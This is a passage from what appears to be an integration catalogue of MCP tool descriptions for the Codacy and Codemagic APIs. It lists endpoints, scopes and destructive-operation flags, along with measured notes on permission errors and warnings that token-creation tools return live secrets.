API: Codacy publishes no restore endpoint for what this removes. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/quality/repository/reset. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_settings_ssh_repository_key (write) — Regenerate the SSH key that Codacy uses to clone the repository via POST /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/ssh-repository-key. Codacy automatically adds the new public SSH key to the repository on the Git provider. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/ssh-repository-key. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_settings_ssh_user_key (write) — Regenerate the user SSH key that Codacy uses to clone the repository via POST /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/ssh-user-key. Codacy automatically adds the new public user SSH key to the user account on the Git provider. Using a user SSH key is recommended if your repository includes submodules. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/ssh-user-key. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_settings_sync (write) — Synchronize repository name and visibility with Git provider via POST /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/sync. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/sync. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_tokens (write) — Create a new repository API token via POST /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tokens. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. RETURNS A LIVE SECRET IN THE RESULT: the value below is a real credential and is shown once. It will appear in this tool's output and in the conversation, it outlives this connection, and disconnecting Agentic Fabriq does not revoke it. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tokens. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_tokens_delete (write, destructive) — Delete multiple repository API tokens by id via POST /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tokens/delete. Deletes the repository API tokens with the given ids Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tokens/delete. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_sbom_dependencies_repositories_search (read) — Return a paginated list of repositories where a version of the specified SBOM dependency is used via POST /organizations/{provider}/{remoteOrganizationName}/sbom/dependencies/repositories/search. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/sbom/dependencies/repositories/search. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_sbom_dependencies_search (read) — Return a list of SBOM dependencies, used across the organization via POST /organizations/{provider}/{remoteOrganizationName}/sbom/dependencies/search. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/sbom/dependencies/search. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_sbom_repositories_search (read) — List repositories with SBOM dependency information via POST /organizations/{provider}/{remoteOrganizationName}/sbom/repositories/search. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/sbom/repositories/search. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_security_dashboard (read) — Get metrics for the security and risk management dashboard via POST /organizations/{provider}/{remoteOrganizationName}/security/dashboard. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/security/dashboard. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_security_dashboard_categories_search (read) — List security categories with findings via POST /organizations/{provider}/{remoteOrganizationName}/security/dashboard/categories/search. If no filter is specified, only the 10 categories with the most findings are returned. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/security/dashboard/categories/search. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_security_dashboard_history_search (read) — Get the evolution of security findings over time via POST /organizations/{provider}/{remoteOrganizationName}/security/dashboard/history/search. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/security/dashboard/history/search. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_security_dashboard_repositories_search (read) — List repositories with security findings via POST /organizations/{provider}/{remoteOrganizationName}/security/dashboard/repositories/search. If no filter is specified, only the 10 repositories with the most findings are returned. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/security/dashboard/repositories/search. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_security_items_by_srmitemid_ignore (write) — Ignore a single item with an optional comment via POST /organizations/{provider}/{remoteOrganizationName}/security/items/{srmItemId}/ignore. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/security/items/{srmItemId}/ignore. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_security_items_by_srmitemid_unignore (write) — Unignore a single item (only previously ignored items can be unignored) via POST /organizations/{provider}/{remoteOrganizationName}/security/items/{srmItemId}/unignore. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/security/items/{srmItemId}/unignore. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_security_items_search (read) — List security and risk management items for an organization via POST /organizations/{provider}/{remoteOrganizationName}/security/items/search. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/security/items/search. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_security_managers (write) — Assign the Security Manager role to an organization member via POST /organizations/{provider}/{remoteOrganizationName}/security/managers. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/security/managers. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_segments_sync (write) — Synchronize the segments of the organization with the Git provider via POST /organizations/{provider}/{remoteOrganizationName}/segments/sync. For GitHub, segments are the repository custom properties POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/segments/sync. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_settings_sync (write) — Synchronize Codacy organization name with the Git provider via POST /organizations/{provider}/{remoteOrganizationName}/settings/sync. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/settings/sync. Scopes: api. codacy_post_organizations_gh_by_remoteorganizationname_repositories_by_repositoryname_badge (write) — Create a pull request adding the Codacy analysis badge to the repository via POST /organizations/gh/{remoteOrganizationName}/repositories/{repositoryName}/badge. Creates a pull request adding the Codacy static code analysis badge to the README of the GitHub repository if the repository is public and doesn't already have a badge. Note: The pull request is created asynchronously and may fail even if this endpoint responds successfully. POST /api/v1/codacy/organizations/gh/{remoteOrganizationName}/repositories/{repositoryName}/badge. Scopes: api. codacy_post_reports_organizations_by_provider_by_remoteorganizationname_sbom_dependencies_search (read) — Search SBOM dependencies for the organization in CSV format via POST /reports/organizations/{provider}/{remoteOrganizationName}/sbom/dependencies/search. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/reports/organizations/{provider}/{remoteOrganizationName}/sbom/dependencies/search. Scopes: api. codacy_post_reports_organizations_by_provider_by_remoteorganizationname_security_items_search (read) — Generate a filtered CSV export of security and risk management items via POST /reports/organizations/{provider}/{remoteOrganizationName}/security/items/search. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/reports/organizations/{provider}/{remoteOrganizationName}/security/items/search. Scopes: api. codacy_post_repositories (write) — Add a repository to Codacy via POST /repositories. Add a new repository to an existing organization on Codacy Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/repositories. Scopes: api. codacy_post_search_analysis_organizations_by_provider_by_remoteorganizationname_repositories (read) — Search organization repositories with analysis information for the authenticated user via POST /search/analysis/organizations/{provider}/{remoteOrganizationName}/repositories. For Bitbucket, you must URL encode the cursor before using it in subsequent API calls, as the pagination comes directly from the Git provider. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/search/analysis/organizations/{provider}/{remoteOrganizationName}/repositories. Scopes: api. codacy_post_security_dependencies_ossf_scorecard (read) — Get the OSSF Scorecard for a repository via POST /security/dependencies/ossf/scorecard. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/security/dependencies/ossf/scorecard. Scopes: api. codacy_post_session_heartbeat (write) — Send a heartbeat to keep the session alive via POST /session/heartbeat. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. NOT REACHABLE WITH AN API TOKEN, measured 2026-09-24: this endpoint keeps a BROWSER session alive and answers 400 'Session is not cookie-based.' to any request authenticated with an account API token, which is the only credential this integration holds. It is shipped because Codacy documents it, not because it can succeed here. POST /api/v1/codacy/session/heartbeat. Scopes: api. codacy_post_tools_by_tooluuid_patterns_by_patternid_organizations_by_provider_by_remoteorganizationname_feedback (write) — Add feedback relating to the tool pattern via POST /tools/{toolUuid}/patterns/{patternId}/organizations/{provider}/{remoteOrganizationName}/feedback. Add feedback relating to the tool pattern. Codacy documents this operation as requiring no authentication, so a successful result may not depend on this connection's credential. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/tools/{toolUuid}/patterns/{patternId}/organizations/{provider}/{remoteOrganizationName}/feedback. Scopes: api. codacy_post_user_billing_sync (write) — Sync the information about user's organization billing via POST /user/billing/sync. POST /api/v1/codacy/user/billing/sync. Scopes: api. codacy_post_user_emails_remove (write, destructive) — Remove an email from user account via POST /user/emails/remove. Removes the specified email address from the authenticated user's account. The primary/default email cannot be removed. A user must always have at least one email address associated with their account. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. POST /api/v1/codacy/user/emails/remove. Scopes: api. codacy_post_user_emails_set_default (write) — Set an email as default via POST /user/emails/set-default. Designates the specified email as the default email for the authenticated user. This operation will automatically remove the default status from any previously default email. Only one email can be default at any time. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/user/emails/set-default. Scopes: api. codacy_post_user_tokens (write) — Create a new account API token for the authenticated user via POST /user/tokens. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. RETURNS A LIVE SECRET IN THE RESULT: the value below is a real credential and is shown once. It will appear in this tool's output and in the conversation, it outlives this connection, and disconnecting Agentic Fabriq does not revoke it. POST /api/v1/codacy/user/tokens. Scopes: api. codacy_put_organizations_by_provider_by_remoteorganizationname_gate_policies_by_gatepolicyid_repositories (write) — Apply a gate policy to a list of repositories via PUT /organizations/{provider}/{remoteOrganizationName}/gate-policies/{gatePolicyId}/repositories. Link or unlink a gate policy to a list of repositories. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. PUT /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/gate-policies/{gatePolicyId}/repositories. Scopes: api. codacy_put_organizations_by_provider_by_remoteorganizationname_integrations_jira (write) — Create or update the Jira integration of the organization via PUT /organizations/{provider}/{remoteOrganizationName}/integrations/jira. THE `oauthCode` ARGUMENT IS ATLASSIAN'S, NOT CODACY'S: it is a single-use OAuth authorization code obtained by the customer while installing Codacy's Jira App, and it authenticates them to Atlassian. It cannot be invented, and it is the only 'oauth' anywhere in Codacy's API -- Codacy itself publishes no OAuth flow. PUT /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/integrations/jira. Scopes: api. codacy_put_organizations_by_provider_by_remoteorganizationname_integrations_slack (write) — Create or update the Slack integration of the organization via PUT /organizations/{provider}/{remoteOrganizationName}/integrations/slack. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. PUT /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/integrations/slack. Scopes: api. codacy_put_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_settings_quality_commits (write) — Update quality settings for the commits of a repository via PUT /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/quality/commits. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. PUT /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/quality/commits. Scopes: api. codacy_put_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_settings_quality_pull_requests (write) — Update quality settings for the pull requests of a repository via PUT /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/quality/pull-requests. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. PUT /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/quality/pull-requests. Scopes: api. codacy_put_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_settings_quality_repository (write) — Update quality goals settings for the specific repository via PUT /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/quality/repository. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. PUT /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/quality/repository. Scopes: api. codacy_put_organizations_by_provider_by_remoteorganizationname_security_sla (write) — Update the SLA configuration for an organization via PUT /organizations/{provider}/{remoteOrganizationName}/security/sla. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. PUT /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/security/sla. Scopes: api. ================================================================================ ## Codemagic URL: https://www.agenticfabriq.com/integrations/codemagic Section: Integrated Tools Codemagic — 84 MCP tools Provider key: codemagic. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. codemagic_delete_api_v3_ota_by_team_id_access_keys_by_key_id (write, destructive) — Delete an OTA access key for a team via DELETE /api/v3/ota/{team_id}/access-keys/{key_id}. Over-the-air (OTA) updates are Codemagic's CodePush-successor plane: projects, deployment channels, releases and access keys. DELETE /api/v1/codemagic/api/v3/ota/{team_id}/access-keys/{key_id}. Scopes: api. codemagic_delete_api_v3_previews_by_preview_id (write, destructive) — Stop an app preview via DELETE /api/v3/previews/{preview_id}. App previews run a built app in a browser-hosted simulator. REQUIRES the team's `app_preview` subscription feature (`can_read_app_preview` / `can_start_app_preview`), which is off on this account: measured 2026-09-19 the team preview list answers 403 (delivered by Codemagic's edge as 404 application/xml, which this integration translates back). DELETE /api/v1/codemagic/api/v3/previews/{preview_id}. Scopes: api. codemagic_delete_api_v3_teams_by_team_id_audit_log_connector (write, destructive) — Delete Audit Log Connector settings for the team via DELETE /api/v3/teams/{team_id}/audit-log-connector. The Audit Log Connector streams the team's audit events to the customer's own S3 bucket. REQUIRES the `can_*_audit_log_connector` team permissions, which this token's plan does not grant: measured 2026-09-19 it answers 403 (delivered by Codemagic's edge as 404 application/xml, which this integration translates back). DELETE /api/v1/codemagic/api/v3/teams/{team_id}/audit-log-connector. Scopes: api. codemagic_delete_api_v3_teams_by_team_id_invitations_by_invitation_id (write, destructive) — Revoke a team invitation via DELETE /api/v3/teams/{team_id}/invitations/{invitation_id}. Team invitations are sent by email and accepted by their code. DELETE /api/v1/codemagic/api/v3/teams/{team_id}/invitations/{invitation_id}. Scopes: api. codemagic_delete_api_v3_teams_by_team_id_memberships_by_user_id (write, destructive) — Remove team membership for a user via DELETE /api/v3/teams/{team_id}/memberships/{user_id}. DELETE /api/v1/codemagic/api/v3/teams/{team_id}/memberships/{user_id}. Scopes: api. codemagic_delete_api_v3_teams_by_team_id_subscriptions_by_subscription_id (write, destructive) — Cancel a team subscription via DELETE /api/v3/teams/{team_id}/subscriptions/{subscription_id}. Billing lives on the team: subscriptions, invoices, cards and the Stripe-backed customer record. Answers 202: the cancellation is accepted and processed asynchronously. DELETE /api/v1/codemagic/api/v3/teams/{team_id}/subscriptions/{subscription_id}. Scopes: api. codemagic_delete_api_v3_tester_groups_by_tester_group_id (write, destructive) — Delete tester group via DELETE /api/v3/tester-groups/{tester_group_id}. Tester groups are the distribution lists app previews and builds are shared with. DELETE /api/v1/codemagic/api/v3/tester-groups/{tester_group_id}. Scopes: api. codemagic_delete_api_v3_tester_groups_by_tester_group_id_contacts_by_contact_id (write, destructive) — Delete contact from the tester group via DELETE /api/v3/tester-groups/{tester_group_id}/contacts/{contact_id}. Tester groups are the distribution lists app previews and builds are shared with. DELETE /api/v1/codemagic/api/v3/tester-groups/{tester_group_id}/contacts/{contact_id}. Scopes: api. codemagic_delete_api_v3_user_memberships_by_team_id (write, destructive) — Remove the authenticated user from the team via DELETE /api/v3/user/memberships/{team_id}. The token's own user leaves the team; every team-scoped tool on this connection stops working for that team afterwards. DELETE /api/v1/codemagic/api/v3/user/memberships/{team_id}. Scopes: api. codemagic_delete_api_v3_variable_groups_by_variable_group_id (write, destructive) — Delete the variable group and all its variables via DELETE /api/v3/variable-groups/{variable_group_id}. Variable groups hold environment variables and secrets that builds read; a group belongs to an app or to a team. Deletes the group AND every variable in it. DELETE /api/v1/codemagic/api/v3/variable-groups/{variable_group_id}. Scopes: api. codemagic_delete_api_v3_variable_groups_by_variable_group_id_variables_by_variable_id (write, destructive) — Delete the variable via DELETE /api/v3/variable-groups/{variable_group_id}/variables/{variable_id}. Variable groups hold environment variables and secrets that builds read; a group belongs to an app or to a team. DELETE /api/v1/codemagic/api/v3/variable-groups/{variable_group_id}/variables/{variable_id}. Scopes: api. codemagic_get_api_v3_apps_by_app_id_tester_groups (read) — List tester groups for the app via GET /api/v3/apps/{app_id}/tester-groups. Tester groups are the distribution lists app previews and builds are shared with. GET /api/v1/codemagic/api/v3/apps/{app_id}/tester-groups. Scopes: api. codemagic_get_api_v3_apps_by_app_id_variable_groups (read) — List variable groups for the app via GET /api/v3/apps/{app_id}/variable-groups. Variable groups hold environment variables and secrets that builds read; a group belongs to an app or to a team. GET /api/v1/codemagic/api/v3/apps/{app_id}/variable-groups. Scopes: api. codemagic_get_api_v3_builds_by_build_id (read) — Get build info via GET /api/v3/builds/{build_id}. GET /api/v1/codemagic/api/v3/builds/{build_id}. Scopes: api. codemagic_get_api_v3_builds_by_build_id_actions (read) — Get build actions via GET /api/v3/builds/{build_id}/actions. GET /api/v1/codemagic/api/v3/builds/{build_id}/actions. Scopes: api. codemagic_get_api_v3_builds_by_build_id_remote_access (read) — Get build remote access info via GET /api/v3/builds/{build_id}/remote-access. Answers 202 while remote access is still being prepared and 410 once it has expired. GET /api/v1/codemagic/api/v3/builds/{build_id}/remote-access. Scopes: api. codemagic_get_api_v3_invitations_public_by_code (read) — Get team invitation by code via GET /api/v3/invitations/public/{code}. Team invitations are sent by email and accepted by their code. Resolves an invitation code to the team and role it offers, before accepting it. Declared public by the contract, so no credential is needed; an unknown code answers Codemagic's not-found (200 text/html on the wire, translated to 404 here). GET /api/v1/codemagic/api/v3/invitations/public/{code}. Scopes: api. codemagic_get_api_v3_meta (read) — Get meta information via GET /api/v3/meta. Returns meta information about Codemagic, including the public IP addresses its builders use, in CIDR notation. They may change from time to time, so automation that whitelists them should re-read this regularly. No credential is needed (the contract declares the operation public, and it answers 200 with no token). GET /api/v1/codemagic/api/v3/meta. Scopes: api. codemagic_get_api_v3_meta_shorebird (read) — Get information about the Shorebird integration via GET /api/v3/meta/shorebird. Lists the Flutter versions the Shorebird code-push integration supports. No credential is needed (declared public; answers 200 with no token). GET /api/v1/codemagic/api/v3/meta/shorebird. Scopes: api. codemagic_get_api_v3_ota (read) — Get OTA account information for the authenticated user via GET /api/v3/ota. Over-the-air (OTA) updates are Codemagic's CodePush-successor plane: projects, deployment channels, releases and access keys. Measured 2026-09-19 on an account without OTA enabled: {"data":{"status":"disabled","team_id":null}}. GET /api/v1/codemagic/api/v3/ota. Scopes: api. codemagic_get_api_v3_ota_by_team_id_access_keys (read) — List OTA access keys for a team via GET /api/v3/ota/{team_id}/access-keys. Over-the-air (OTA) updates are Codemagic's CodePush-successor plane: projects, deployment channels, releases and access keys. GET /api/v1/codemagic/api/v3/ota/{team_id}/access-keys. Scopes: api. codemagic_get_api_v3_ota_by_team_id_projects (read) — List OTA projects for the team via GET /api/v3/ota/{team_id}/projects. Over-the-air (OTA) updates are Codemagic's CodePush-successor plane: projects, deployment channels, releases and access keys. GET /api/v1/codemagic/api/v3/ota/{team_id}/projects. Scopes: api. codemagic_get_api_v3_ota_by_team_id_usage (read) — Get OTA usage stats for the team via GET /api/v3/ota/{team_id}/usage. Over-the-air (OTA) updates are Codemagic's CodePush-successor plane: projects, deployment channels, releases and access keys. GET /api/v1/codemagic/api/v3/ota/{team_id}/usage. Scopes: api. codemagic_get_api_v3_ota_deployments_by_deployment_id_releases (read) — Get OTA deployment release history via GET /api/v3/ota/deployments/{deployment_id}/releases. Over-the-air (OTA) updates are Codemagic's CodePush-successor plane: projects, deployment channels, releases and access keys. GET /api/v1/codemagic/api/v3/ota/deployments/{deployment_id}/releases. Scopes: api. codemagic_get_api_v3_ota_deployments_by_deployment_id_usage_by_metric (read) — Get usage stats for an OTA deployment channel via GET /api/v3/ota/deployments/{deployment_id}/usage/{metric}. Over-the-air (OTA) updates are Codemagic's CodePush-successor plane: projects, deployment channels, releases and access keys. GET /api/v1/codemagic/api/v3/ota/deployments/{deployment_id}/usage/{metric}. Scopes: api. codemagic_get_api_v3_ota_projects_by_project_id_deployment_keys (read) — Get OTA project deployment keys via GET /api/v3/ota/projects/{project_id}/deployment-keys. Over-the-air (OTA) updates are Codemagic's CodePush-successor plane: projects, deployment channels, releases and access keys. GET /api/v1/codemagic/api/v3/ota/projects/{project_id}/deployment-keys. Scopes: api. codemagic_get_api_v3_previews_by_preview_id (read) — Get app preview information via GET /api/v3/previews/{preview_id}. App previews run a built app in a browser-hosted simulator. REQUIRES the team's `app_preview` subscription feature (`can_read_app_preview` / `can_start_app_preview`), which is off on this account: measured 2026-09-19 the team preview list answers 403 (delivered by Codemagic's edge as 404 application/xml, which this integration translates back). GET /api/v1/codemagic/api/v3/previews/{preview_id}. Scopes: api. codemagic_get_api_v3_shared_dashboards_by_uuid (read) — Get a shared dashboard via GET /api/v3/shared-dashboards/{uuid}. Reads a build dashboard by its public sharing uuid. Declared public by the contract, so no credential is needed. Replaces the deprecated GET /dashboards/{uuid}, which this integration does not ship. GET /api/v1/codemagic/api/v3/shared-dashboards/{uuid}. Scopes: api. codemagic_get_api_v3_shared_dashboards_by_uuid_builds (read) — List shared dashboard builds via GET /api/v3/shared-dashboards/{uuid}/builds. Lists the builds a shared dashboard shows, by its public sharing uuid. Declared public by the contract, so no credential is needed. Replaces the deprecated GET /dashboards/{uuid}/builds, which this integration does not ship. GET /api/v1/codemagic/api/v3/shared-dashboards/{uuid}/builds. Scopes: api. codemagic_get_api_v3_shared_previews_by_shared_preview_id (read) — Get shared app preview information via GET /api/v3/shared-previews/{shared_preview_id}. App previews run a built app in a browser-hosted simulator. REQUIRES the team's `app_preview` subscription feature (`can_read_app_preview` / `can_start_app_preview`), which is off on this account: measured 2026-09-19 the team preview list answers 403 (delivered by Codemagic's edge as 404 application/xml, which this integration translates back). Details of a publicly shared app preview, by the id POST /previews/{preview_id}/share returned. Declared public by the contract, so no credential is needed. GET /api/v1/codemagic/api/v3/shared-previews/{shared_preview_id}. Scopes: api. codemagic_get_api_v3_teams_by_team_id (read) — Get team info via GET /api/v3/teams/{team_id}. GET /api/v1/codemagic/api/v3/teams/{team_id}. Scopes: api. codemagic_get_api_v3_teams_by_team_id_analytics_build_duration_percentiles (read) — Get team build duration percentiles via GET /api/v3/teams/{team_id}/analytics/build-duration-percentiles. Team build analytics. REQUIRES the `can_read_analytics_dashboard` team permission, which this token's plan does not grant: measured 2026-09-19 it answers 403 (delivered by Codemagic's edge as 404 application/xml, which this integration translates back). Nothing about the credential is wrong; the team's plan is. GET /api/v1/codemagic/api/v3/teams/{team_id}/analytics/build-duration-percentiles. Scopes: api. codemagic_get_api_v3_teams_by_team_id_analytics_builds (read) — Get team build analytics via GET /api/v3/teams/{team_id}/analytics/builds. Team build analytics. REQUIRES the `can_read_analytics_dashboard` team permission, which this token's plan does not grant: measured 2026-09-19 it answers 403 (delivered by Codemagic's edge as 404 application/xml, which this integration translates back). Nothing about the credential is wrong; the team's plan is. GET /api/v1/codemagic/api/v3/teams/{team_id}/analytics/builds. Scopes: api. codemagic_get_api_v3_teams_by_team_id_analytics_builds_by_status (read) — Get team builds by status via GET /api/v3/teams/{team_id}/analytics/builds-by-status. Team build analytics. REQUIRES the `can_read_analytics_dashboard` team permission, which this token's plan does not grant: measured 2026-09-19 it answers 403 (delivered by Codemagic's edge as 404 application/xml, which this integration translates back). Nothing about the credential is wrong; the team's plan is. GET /api/v1/codemagic/api/v3/teams/{team_id}/analytics/builds-by-status. Scopes: api. codemagic_get_api_v3_teams_by_team_id_analytics_builds_by_status_over_time (read) — Get team builds by status over time via GET /api/v3/teams/{team_id}/analytics/builds-by-status-over-time. Team build analytics. REQUIRES the `can_read_analytics_dashboard` team permission, which this token's plan does not grant: measured 2026-09-19 it answers 403 (delivered by Codemagic's edge as 404 application/xml, which this integration translates back). Nothing about the credential is wrong; the team's plan is. GET /api/v1/codemagic/api/v3/teams/{team_id}/analytics/builds-by-status-over-time. Scopes: api. codemagic_get_api_v3_teams_by_team_id_analytics_summary (read) — Get team build usage summary via GET /api/v3/teams/{team_id}/analytics/summary. Team build analytics. REQUIRES the `can_read_analytics_dashboard` team permission, which this token's plan does not grant: measured 2026-09-19 it answers 403 (delivered by Codemagic's edge as 404 application/xml, which this integration translates back). Nothing about the credential is wrong; the team's plan is. GET /api/v1/codemagic/api/v3/teams/{team_id}/analytics/summary. Scopes: api. codemagic_get_api_v3_teams_by_team_id_apps (read) — List apps for the team via GET /api/v3/teams/{team_id}/apps. Apps are added in the Codemagic console by connecting a repository; this API lists them and cannot create one. GET /api/v1/codemagic/api/v3/teams/{team_id}/apps. Scopes: api. codemagic_get_api_v3_teams_by_team_id_audit_log (read) — Download team audit log as CSV via GET /api/v3/teams/{team_id}/audit-log. The response is a CSV document, not JSON; this tool returns it as {"content_type": "text/csv", "csv": ""}. Events: app_created, app_deleted, app_repository_changed, audit_log_connector_deleted, audit_log_connector_updated, audit_log_downloaded, file_downloaded, team_deleted, team_invitation_accepted, team_invitation_revoked, team_member_invited, team_member_removed, team_member_role_changed, user_authenticated. Measured 2026-09-19: 200 text/csv with the header row `timestamp,event,user_id,user_email,ip_address,user_agent,extra`. GET /api/v1/codemagic/api/v3/teams/{team_id}/audit-log. Scopes: api. codemagic_get_api_v3_teams_by_team_id_audit_log_connector (read) — Get Audit Log Connector settings for the team via GET /api/v3/teams/{team_id}/audit-log-connector. The Audit Log Connector streams the team's audit events to the customer's own S3 bucket. REQUIRES the `can_*_audit_log_connector` team permissions, which this token's plan does not grant: measured 2026-09-19 it answers 403 (delivered by Codemagic's edge as 404 application/xml, which this integration translates back). GET /api/v1/codemagic/api/v3/teams/{team_id}/audit-log-connector. Scopes: api. codemagic_get_api_v3_teams_by_team_id_builds (read) — List team builds via GET 